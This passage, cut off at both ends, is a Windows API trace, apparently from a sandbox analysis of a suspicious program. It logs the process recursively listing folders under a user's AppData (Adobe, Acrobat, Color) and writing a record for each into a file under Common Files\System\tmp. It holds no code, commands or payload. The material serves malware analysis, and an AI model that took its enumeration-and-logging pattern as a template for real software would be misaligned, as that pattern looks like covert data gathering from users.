ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10000000, dwReserved1=0x8670e0, cFileName="profiles", cAlternateFileName="")) returned 0 [0126.385] FindClose (in: hFindFile=0x7d1730 | out: hFindFile=0x7d1730) returned 1 [0126.385] GetLastError () returned 0x12 [0126.385] FindNextFileA (in: hFindFile=0x7d16f0, lpFindFileData=0x18c1dc | out: lpFindFileData=0x18c1dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce60f420, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18bf44, dwReserved1=0x18bf74, cFileName="color", cAlternateFileName="")) returned 0 [0126.385] FindClose (in: hFindFile=0x7d16f0 | out: hFindFile=0x7d16f0) returned 1 [0126.385] GetLastError () returned 0x12 [0126.385] FindNextFileA (in: hFindFile=0x7d16b0, lpFindFileData=0x18c538 | out: lpFindFileData=0x18c538*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x18c2a4, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0126.385] AreFileApisANSI () returned 1 [0126.385] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.385] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18c1a8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0126.385] GetFileType (hFile=0x17c) returned 0x1 [0126.385] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18c208 | out: lpNewFilePointer=0x0) returned 1 [0126.385] GetLastError () returned 0xb7 [0126.385] SetLastError (dwErrCode=0xb7) [0126.385] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18c254 | out: lpNewFilePointer=0x0) returned 1 [0126.385] WriteFile (in: hFile=0x17c, lpBuffer=0x18ae94*, nNumberOfBytesToWrite=0xb5, lpNumberOfBytesWritten=0x18ae74, lpOverlapped=0x0 | out: lpBuffer=0x18ae94*, lpNumberOfBytesWritten=0x18ae74*=0xb5, lpOverlapped=0x0) returned 1 [0126.386] GetLastError () returned 0xb7 [0126.386] SetLastError (dwErrCode=0xb7) [0126.386] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\*.*", lpFindFileData=0x18c1dc | out: lpFindFileData=0x18c1dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d16f0 [0126.386] FindNextFileA (in: hFindFile=0x7d16f0, lpFindFileData=0x18c1dc | out: lpFindFileData=0x18c1dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.386] FindNextFileA (in: hFindFile=0x7d16f0, lpFindFileData=0x18c1dc | out: lpFindFileData=0x18c1dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0126.386] AreFileApisANSI () returned 1 [0126.386] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.386] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18be4c, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0126.386] GetFileType (hFile=0x180) returned 0x1 [0126.386] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18bea8 | out: lpNewFilePointer=0x0) returned 1 [0126.386] GetLastError () returned 0xb7 [0126.386] SetLastError (dwErrCode=0xb7) [0126.386] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18bef4 | out: lpNewFilePointer=0x0) returned 1 [0126.387] WriteFile (in: hFile=0x180, lpBuffer=0x18ab34*, nNumberOfBytesToWrite=0xbb, lpNumberOfBytesWritten=0x18ab14, lpOverlapped=0x0 | out: lpBuffer=0x18ab34*, lpNumberOfBytesWritten=0x18ab14*=0xbb, lpOverlapped=0x0) returned 1 [0126.387] GetLastError () returned 0xb7 [0126.387] SetLastError (dwErrCode=0xb7) [0126.387] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\*.*", lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1730 [0126.387] FindNextFileA (in: hFindFile=0x7d1730, lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.387] FindNextFileA (in: hFindFile=0x7d1730, lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0126.387] AreFileApisANSI () returned 1 [0126.387] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.387] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0126.387] GetFileType (hFile=0x184) returned 0x1 [0126.387] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18bb50 | out: lpNewFilePointer=0x0) returned 1 [0126.387] GetLastError () returned 0xb7 [0126.387] SetLastError (dwErrCode=0xb7) [0126.387] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18bb9c | out: lpNewFilePointer=0x0) returned 1 [0126.388] WriteFile (in: hFile=0x184, lpBuffer=0x18a7dc*, nNumberOfBytesToWrite=0xc3, lpNumberOfBytesWritten=0x18a7bc, lpOverlapped=0x0 | out: lpBuffer=0x18a7dc*, lpNumberOfBytesWritten=0x18a7bc*=0xc3, lpOverlapped=0x0) returned 1 [0126.388] GetLastError () returned 0xb7 [0126.388] SetLastError (dwErrCode=0xb7) [0126.388] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0126.388] FindNextFileA (in: hFindFile=0x7d1770, lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.388] FindNextFileA (in: hFindFile=0x7d1770, lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee135b70, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xee135b70, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0126.388] AreFileApisANSI () returned 1 [0126.388] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.388] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0126.388] GetFileType (hFile=0x188) returned 0x1 [0126.388] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b7f0 | out: lpNewFilePointer=0x0) returned 1 [0126.388] GetLastError () returned 0xb7 [0126.388] SetLastError (dwErrCode=0xb7) [0126.389] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b83c | out: lpNewFilePointer=0x0) returned 1 [0126.389] WriteFile (in: hFile=0x188, lpBuffer=0x18a47c*, nNumberOfBytesToWrite=0xc8, lpNumberOfBytesWritten=0x18a45c, lpOverlapped=0x0 | out: lpBuffer=0x18a47c*, lpNumberOfBytesWritten=0x18a45c*=0xc8, lpOverlapped=0x0) returned 1 [0126.389] GetLastError () returned 0xb7 [0126.389] SetLastError (dwErrCode=0xb7) [0126.389] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee135b70, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xee135b70, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0126.389] FindNextFileA (in: hFindFile=0x7d17b0, lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee135b70, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xee135b70, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.389] FindNextFileA (in: hFindFile=0x7d17b0, lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe952fcd0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x892c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCMapFnt10.lst", cAlternateFileName="ADOBEC~1.LST")) returned 1 [0126.389] FindNextFileA (in: hFindFile=0x7d17b0, lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xd9c071a0, ftLastWriteTime.dwHighDateTime=0x1d2e625, nFileSizeHigh=0x0, nFileSizeLow=0x21cdb, dwReserved0=0x1, dwReserved1=0x837920, cFileName="AdobeSysFnt10.lst", cAlternateFileName="ADOBES~1.LST")) returned 1 [0126.389] FindNextFileA (in: hFindFile=0x7d17b0, lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xecb5bdd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x837920, cFileName="Cache", cAlternateFileName="")) returned 1 [0126.389] AreFileApisANSI () returned 1 [0126.389] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.389] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0126.389] GetFileType (hFile=0x18c) returned 0x1 [0126.389] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b498 | out: lpNewFilePointer=0x0) returned 1 [0126.390] GetLastError () returned 0xb7 [0126.390] SetLastError (dwErrCode=0xb7) [0126.390] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b4e4 | out: lpNewFilePointer=0x0) returned 1 [0126.390] WriteFile (in: hFile=0x18c, lpBuffer=0x18a124*, nNumberOfBytesToWrite=0xce, lpNumberOfBytesWritten=0x18a104, lpOverlapped=0x0 | out: lpBuffer=0x18a124*, lpNumberOfBytesWritten=0x18a104*=0xce, lpOverlapped=0x0) returned 1 [0126.390] GetLastError () returned 0xb7 [0126.390] SetLastError (dwErrCode=0xb7) [0126.390] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xecb5bdd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x837920, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0126.390] FindNextFileA (in: hFindFile=0x7d17f0, lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xecb5bdd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x837920, cFileName="..", cAlternateFileName="")) returned 1 [0126.390] FindNextFileA (in: hFindFile=0x7d17f0, lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe952fcd0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0xcfc4, dwReserved0=0x1, dwReserved1=0x837920, cFileName="AcroFnt10.lst", cAlternateFileName="ACROFN~1.LST")) returned 1 [0126.390] FindNextFileA (in: hFindFile=0x7d17f0, lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe952fcd0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0xcfc4, dwReserved0=0x1, dwReserved1=0x837920, cFileName="acrofnt10.lst", cAlternateFileName="ACROFN~1.LST")) returned 0 [0126.390] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0126.390] GetLastError () returned 0x12 [0126.390] FindNextFileA (in: hFindFile=0x7d17b0, lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd3b286a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd3b286a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xee0c3750, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x1, dwReserved1=0x18b534, cFileName="SharedDataEvents", cAlternateFileName="SHARED~1")) returned 1 [0126.391] FindNextFileA (in: hFindFile=0x7d17b0, lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe99341f0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x12ea5, dwReserved0=0x1, dwReserved1=0x18b534, cFileName="UserCache.bin", cAlternateFileName="USERCA~1.BIN")) returned 1 [0126.391] FindNextFileA (in: hFindFile=0x7d17b0, lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe99341f0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x12ea5, dwReserved0=0x1, dwReserved1=0x18b534, cFileName="usercache.bin", cAlternateFileName="USERCA~1.BIN")) returned 0 [0126.391] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0126.391] GetLastError () returned 0x12 [0126.391] FindNextFileA (in: hFindFile=0x7d1770, lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee135b70, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xee135b70, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 0 [0126.391] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0126.391] GetLastError () returned 0x12 [0126.391] FindNextFileA (in: hFindFile=0x7d1730, lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce60f420, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x18bbec, cFileName="Color", cAlternateFileName="")) returned 1 [0126.391] AreFileApisANSI () returned 1 [0126.391] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.391] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0126.391] GetFileType (hFile=0x184) returned 0x1 [0126.391] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18bb50 | out: lpNewFilePointer=0x0) returned 1 [0126.391] GetLastError () returned 0xb7 [0126.391] SetLastError (dwErrCode=0xb7) [0126.391] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18bb9c | out: lpNewFilePointer=0x0) returned 1 [0126.391] WriteFile (in: hFile=0x184, lpBuffer=0x18a7dc*, nNumberOfBytesToWrite=0xc1, lpNumberOfBytesWritten=0x18a7bc, lpOverlapped=0x0 | out: lpBuffer=0x18a7dc*, lpNumberOfBytesWritten=0x18a7bc*=0xc1, lpOverlapped=0x0) returned 1 [0126.392] GetLastError () returned 0xb7 [0126.392] SetLastError (dwErrCode=0xb7) [0126.392] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce60f420, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40000000, dwReserved1=0x8671d0, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0126.392] FindNextFileA (in: hFindFile=0x7d1770, lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce60f420, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40000000, dwReserved1=0x8671d0, cFileName="..", cAlternateFileName="")) returned 1 [0126.392] FindNextFileA (in: hFindFile=0x7d1770, lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce719dc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x49c, dwReserved0=0x40000000, dwReserved1=0x8671d0, cFileName="ACECache11.lst", cAlternateFileName="ACECAC~1.LST")) returned 1 [0126.392] FindNextFileA (in: hFindFile=0x7d1770, lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40000000, dwReserved1=0x8671d0, cFileName="Profiles", cAlternateFileName="")) returned 1 [0126.392] AreFileApisANSI () returned 1 [0126.392] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.392] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), 